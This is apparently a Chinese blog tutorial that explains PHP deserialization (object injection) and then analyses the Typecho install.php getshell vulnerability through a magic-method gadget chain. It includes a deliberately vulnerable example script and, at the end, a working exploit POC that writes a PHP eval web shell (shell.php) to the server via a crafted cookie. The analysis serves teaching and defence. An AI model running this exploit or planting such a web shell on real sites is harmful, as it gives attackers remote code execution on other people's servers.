由Typecho 深入理解PHP反序列化漏洞

零、前言

Typecho是一个轻量版的博客系统,前几天爆出getshell漏洞,网上也已经有相关的漏洞分析发布。这个漏洞是由PHP反序列化漏洞造成的,所以这里我们分析一下这个漏洞,并借此漏洞深入理解PHP反序列化漏洞。

一、PHP反序列化漏洞

1、漏洞简介

PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。

2、漏洞原理

接下来我们通过几个实例来理解什么是PHP序列化与反序列化以及漏洞形成的具体过程,首先建立1.php文件文件内容如下:

<?php    
class TestClass    
{    
    // 一个变量    
    public $variable = 'This is a string';    
    // 一个简单的方法    
    public function PrintVariable()    
    {    
        echo $this->variable;    
    }    
}    
// 创建一个对象    
$object = new TestClass();    
// 调用一个方法    
$object->PrintVariable();    
?>

文件中有一个TestClass类,类中定义了一个$variable变量和一个PrintVariable函数,然后实例化这个类并调用它的方法,运行结果如下:

这是一个正常的类的实例化和成员函数调用过程,但是有一些特殊的类成员函数在某些特定情况下会自动调用,称之为magic函数,magic函数命名是以符号__开头的,比如__construct当一个对象创建时被调用,__destruct当一个对象销毁时被调用,__toString当一个对象被当作一个字符串被调用。为了更好的理解magic方法是如何工作的,在2.php中增加了三个magic方法,__construct, __destruct和__toString。

<?php    
class TestClass    
{
    // 一个变量    
    public $variable = 'This is a string';    
    // 一个简单的方法    
    public function PrintVariable()    
    {    
        echo $this->variable . '<br />';    
    }    
    // Constructor    
    public function __construct()    
    {    
        echo '__construct <br />';    
    }    
    // Destructor    
    public function __destruct()    
    {    
        echo '__destruct <br />';    
    }    
    // Call    
    public function __toString()    
    {    
        return '__toString<br />';    
    }    
}    
// 创建一个对象    
//  __construct会被调用    
$object = new TestClass();    
// 创建一个方法     
$object->PrintVariable();    
// 对象被当作一个字符串    
//  __toString会被调用    
echo $object;    
// End of PHP script    
// 脚本结束__destruct会被调用    
?>

运行结果如下,注意还有其他的magic方法,这里只列举了几个。

php允许保存一个对象方便以后重用,这个过程被称为序列化。为什么要有序列化这种机制呢?因为在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。试想,如果在一个脚本中想要调用之前一个脚本的变量,但是前一个脚本已经执行完毕,所有的变量和内容释放掉了,我们要如何操作呢?难道要前一个脚本不断的循环,等待后面脚本调用?这肯定是不现实的。serialize和unserialize就是用来解决这一问题的。serialize可以将变量转换为字符串并且在转换中可以保存当前变量的值;unserialize则可以将serialize生成的字符串变换回变量。让我们在3.php中添加序列化的例子,看看php对象序列化之后的格式。

<?php    
// 某类    
class User    
{    
    // 类数据    
    public $age = 0;    
    public $name = '';    
    // 输出数据    
    public function PrintData()    
    {    
        echo 'User ' . $this->name . ' is ' . $this->age    
             . ' years old. <br />';    
    }    
}    
// 创建一个对象    
$usr = new User();    
// 设置数据    
$usr->age = 20;    
$usr->name = 'John';    
// 输出数据    
$usr->PrintData();    
// 输出序列化之后的数据    
echo serialize($usr);    
?>

输出如下

O表示对象,4表示对象名长度为4,”User”为类名,2表示成员变量个数,大括号里分别为变量的类型、名称、长度及其值。想要将这个字符串恢复成类对象需要使用unserialize重建对象,在4.php中写入如下代码

<?php    
// 某类    
class User    
{    
    // Class data    
    public $age = 0;    
    public $name = '';    
    // Print data    
    public function PrintData()    
    {    
        echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';    
    }    
}    
// 重建对象    
$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');    
// 调用PrintData 输出数据    
$usr->PrintData();    
?>

运行结果

magic函数__construct和__destruct会在对象创建或者销毁时自动调用,__sleep方法在一个对象被序列化的时候调用,__wakeup方法在一个对象被反序列化的时候调用。在5.php中添加这几个magic函数的例子。

<?php    
class Test    
{    
    public $variable = 'BUZZ';    
    public $variable2 = 'OTHER';    
    public function PrintVariable()    
    {    
        echo $this->variable . '<br />';    
    }    
    public function __construct()    
    {    
        echo '__construct<br />';    
    }    
    public function __destruct()    
    {    
        echo '__destruct<br />';    
    }    
    public function __wakeup()    
    {    
        echo '__wakeup<br />';    
    }    
    public function __sleep()    
    {    
        echo '__sleep<br />';    
        return array('variable', 'variable2');    
    }    
}    
// 创建对象调用__construct  
$obj = new Test();    
// 序列化对象调用__sleep    
$serialized = serialize($obj);    
// 输出序列化后的字符串    
print 'Serialized: ' . $serialized . '<br />';    
// 重建对象调用__wakeup    
$obj2 = unserialize($serialized);    
// 调用PintVariable输出数据   
$obj2->PrintVariable();    
// 脚本结束调用__destruct     
?>

运行结果

OK,到此我们已经知道了magic函数、序列化与反序列化这几个重要概念,那么这个过程漏洞是怎么产生的呢?我们再来看一个例子6.php

<?php
    class example{
        public $handle;
        function __destruct(){
            $this->shutdown();
        }
        public function shutdown(){
            $this->handle->close();
        }
    }
    class process{
        public $pid;
        function close(){
            eval($this->pid);
        }
    }
    if(isset($_GET['data'])){
        $user_data = unserialize(urldecode($_GET['data']));
    }
?>

这段代码包含两个类,一个example和一个process,在process中有一个成员函数close(),其中有一个eval()函数,但是其参数不可控,我们无法利用它执行任意代码。但是在example类中有一个__destruct()析构函数,它会在脚本调用结束的时候执行,析构函数调用了本类中的一个成员函数shutdown(),其作用是调用某个地方的close()函数。于是开始思考这样一个问题:能否让他去调用process中的close()函数且$pid变量可控呢?答案是可以的,只要在反序列化的时候$handle是process的一个类对象,$pid是想要执行的任意代码代码即可,看一下如何构造POC

<?php
    class example{
        public $handle;
        function __construct(){
            $this->handle = new process();
        }
    }
    class process{
        public $pid;
        function __construct(){
            $this->pid = 'phpinfo();';
        }
    }
    $test = new example();
    echo urlencode(serialize($test));
?>

执行效果

当我们序列化的字符串进行反序列化时就会按照我们的设定生成一个example类对象,当脚本结束时自动调用__destruct()函数,然后调用shutdown()函数,此时$handle为process的类对象,所以接下来会调用process的close()函数,eval()就会执行,而$pid也可以进行设置,此时就造成了代码执行。这整个攻击线路我们称之为ROP(Return-oriented programming)链,其核心思想是在整个进程空间内现存的函数中寻找适合代码片断(gadget),并通过精心设计返回代码把各个gadget拼接起来,从而达到恶意攻击的目的。构造ROP攻击的难点在于,我们需要在整个进程空间中搜索我们需要的gadgets,这需要花费相当长的时间。但一旦完成了“搜索”和“拼接”,这样的攻击是无法抵挡的,因为它用到的都是程序中合法的的代码,普通的防护手段难以检测。反序列化漏洞需要满足两个条件:

1、程序中存在序列化字符串的输入点

2、程序中存在可以利用的magic函数

接下来通过Typecho的序列化漏洞进行实战分析。

二、Typecho漏洞分析

漏洞的位置发生在install.php,首先有一个referer的检测,使其值为一个站内的地址即可绕过。

入口点在232行

这里将cookie中的__typecho_config值取出,然后base64解码再进行反序列化,这就满足了漏洞发生的第一个条件:存在序列化字符串的输入点。接下来就是去找一下有什么magic方法可以利用。先全局搜索__destruct()和__wakeup()

找到两处__destruct(),跟进去没有可利用的地方,跟着代码往下走会实例化一个Typecho_Db,位于var\Typecho\Db.php,Typecho_Db的构造函数如下

在第120行使用.运算符连接$adapterName,这时$adapterName如果是一个实例化的对象就会自动调用__toString方法(如果存在的话),那全局搜索一下__toString()方法。找到3处

前两处无法利用,跟进第三处,__toString()在var\Typecho\Feed.php 223行

跟进代码在290处有如下代码

如何$item[‘author’]是一个类而screenName是一个无法被直接调用的变量(私有变量或根本就不存在的变量),则会自动调用__get() magic方法,进而再去寻找可以利用的__get()方法,全局搜索

共匹配到10处,其中在var\Typecho\Request.php中的代码可以利用,跟进

再跟进到get函数

接着进入_applyFilter函数

可以看到array_map和call_user_func函数,他们都可以动态的执行函数,第一个参数表示要执行的函数的名称,第二个参数表示要执行的函数的参数。我们可以在这里尝试执行任意代码。接下来梳理一下整个流程,数据的输入点在install.php文件的232行,从外部读入序列化的数据。然后根据我们构造的数据,程序会进入Db.php的__construct()函数,然后进入Feed.php的__toString()函数,再依次进入Request.php的__get()、get()、_applyFilter()函数,最后由call_user_func实现任意代码执行,整个ROP链形成。构造POC如下

POC的22行其实与反序列化无关,但是不加这一行程序就不会有回显,因为在 install.php 的开头部分调用了程序调用了ob_start(),它会开启缓冲区并将要输出的内容都放进缓冲区,想要使用的时候可以再取出。但是我们的对象注入会在后续的代码中造成数据库错误

然后会触发exception,其中的ob_end_clean()会将缓冲区中的内容清空,导致无法回显。

想要解决这个问题需要在ob_end_clean()执行之前是程序退出,两种方法:

1、使程序跳转到存在exit()的代码段

2、使程序提前报错,退出代码

POC中使用的是第二种方法

解决了上述问题后就可以执行任意代码并能看到回显了,执行的时候在http头添加referre使其等于一个站内地址,然后在cookie中添加字段__typecho_config,其值为上述exp的输出。

有些利用方式并不需要回显,比如写个shell什么的,POC如下

<?php
class Typecho_Request
{
    private $_filter = array();
    private $_params = array();

    public function __construct(){
        $this->_filter[0] = 'assert';
        $this->_params['screenName'] = 'fputs(fopen(\'./shell.php\',\'w\'),\'<?php @eval($_POST[a]);?>\')';
    }
}

class Typecho_Feed
{
    private $_type = 'RSS 2.0';
    private $_charset = 'UTF-8';
    private $_lang = 'zh';
    private $_items = array();

    public function __construct(){
        $items['author'] = new Typecho_Request();
        $this->_items[0] = $items;
    }
}
$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho');

echo base64_encode(serialize($exp));

?>

执行结果,在根目录生成shell.php

三、参考文献

https://joyqi.com/typecho/about-typecho-20171027.html

https://www.t00ls.net/thread-42355-1-1.html

http://blog.csdn.net/qq_32400847/article/details/53873275

https://xianzhi.aliyun.com/forum/read/2266.html

https://xianzhi.aliyun.com/forum/read/2257.html

https://paper.seebug.org/424/

 

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注